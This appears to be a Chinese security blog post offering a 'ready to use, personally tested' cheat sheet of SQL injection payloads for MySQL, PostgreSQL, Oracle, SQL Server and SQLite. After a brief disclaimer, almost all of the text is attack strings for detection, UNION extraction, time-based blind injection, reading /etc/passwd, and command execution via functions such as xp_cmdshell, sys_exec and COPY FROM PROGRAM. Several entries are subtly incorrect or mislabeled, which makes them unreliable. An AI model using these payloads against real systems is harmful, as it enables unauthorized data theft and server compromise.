拿来即用SQL注入POC,亲测好用

拿来即用SQL注入POC,亲测好用

原创 锐鉴安全 锐鉴安全 2025-04-26 03:38

声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。

关注公众号,设置为星标,
不定期有宠粉福利

Part-01

背景

根据测试过程中发现sql注入漏洞,总结并分享一份针对不同数据库的poc清单。

Part-02

SQL注入POC

一、基础探测通用POC

适用场景:快速验证是否存在注入点

所有数据库通用

‘ OR 1=1 — 

” OR 1=1 — 

‘ OR ‘a’=’a’ 

‘ || 1=1 — 

触发错误判断数据库类型

‘ HAVING 1=1 — # 触发错误

‘ AND (SELECT 1 FROM fake_table) — # 触发表不存在错误

二、按数据库类型详细POC

  1. MySQL/MariaDB

注入类型

POC示例

关键函数/特性

布尔检测

 

' OR 1=1 —

 

— 注释符

联合查询

 

' UNION SELECT user(), @@version —

 

user(), @@version

时间盲注

 

' AND SLEEP(5) —

SLEEP(), BENCHMARK()

文件读取

 

' UNION SELECT LOAD_FILE('/etc/passwd'),1

LOAD_FILE()

命令执行

 

';SELECT sys_exec('whoami') —

FILE权限+secure_file_priv

2.PostgreSQL

注入类型

POC示例

关键函数/特性

布尔检测

 

' OR '1'='1' —

单引号闭合

 

联合查询

' UNION SELECT current_user, version() —

current_user, version()

时间盲注

 

`'pg_sleep(5) — `

pg_sleep()

文件读取

' UNION SELECT pg_read_file('/etc/passwd'),1

pg_read_file()

命令执行

 

'; COPY cmd_exec FROM PROGRAM 'id' —

需超级用户权限

3.Oracle

注入类型

POC示例

关键函数/特性

布尔检测

 

' OR 1=1 FROM DUAL —

DUAL虚拟表

联合查询

' UNION SELECT banner, NULL FROM v$version —

v$version视图

时间盲注

 

' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1 —

DBMS_PIPE.RECEIVE_MESSAGE()

文件读取

' UNION SELECT utl_file.fopen('/etc','passwd') FROM DUAL —

UTL_FILE包

命令执行

 

'; EXEC dbms_java.runjava('oracle/aurora/util/Wrapper') —

Java权限

4.SQL Server

注入类型

POC示例

关键函数/特性

布尔检测

 

' OR 1=1; —

;语句分隔符

联合查询

' UNION SELECT @@version, CURRENT_USER —

@@version, CURRENT_USER

时间盲注

 

'; WAITFOR DELAY '0:0:5' —

WAITFOR DELAY

文件读取

'; EXEC xp_cmdshell 'dir C:\' —

xp_cmdshell(需启用)

注册表操作

'; EXEC xp_regread 'HKEY_LOCAL_MACHINE', …

xp_regread

  1. SQLite

注入类型

POC示例

关键函数/特性

布尔检测

 

' OR 1=1 —

简单逻辑判断

联合查询

' UNION SELECT sqlite_version(), 1 —

sqlite_version()

时间盲注

 

' UNION SELECT sql, NULL FROM sqlite_master —

sqlite_master系统表

文件读取

'; ATTACH DATABASE '/etc/passwd' AS pwn —

ATTACH DATABASE

三、关键差异速查表

功能

MySQL

PostgreSQL

Oracle

SQL Server

SQLite

注释符

— 或 #

字符串连接

CONCAT() 或 “

||

||

+

||

版本函数

@@version

 

version()

v$version

@@version

 

sqlite_version()

延时函数

SLEEP(5)

pg_sleep(5)

DBMS_LOCK.SLEEP(5)

WAITFOR DELAY

无原生支持

系统用户

user()

current_user

SYS_CONTEXT

CURRENT_USER

无直接获取方式

四、高级利用技巧

  1. 跨数据库通用Payload

获取所有数据库类型用户表名(需权限)

‘ UNION SELECT table_name, NULL FROM information_schema.tables — 

获取当前数据库名

‘ UNION SELECT database(), NULL — 

注意事项

Oracle的复杂语法需严格处理表名和别名(必须使用FROM DUAL)

SQL Server默认禁用xp_cmdshell,需先启用

PostgreSQL的权限控制严格,需高权限账户

SQLite无原生网络功能,需结合其他漏洞利用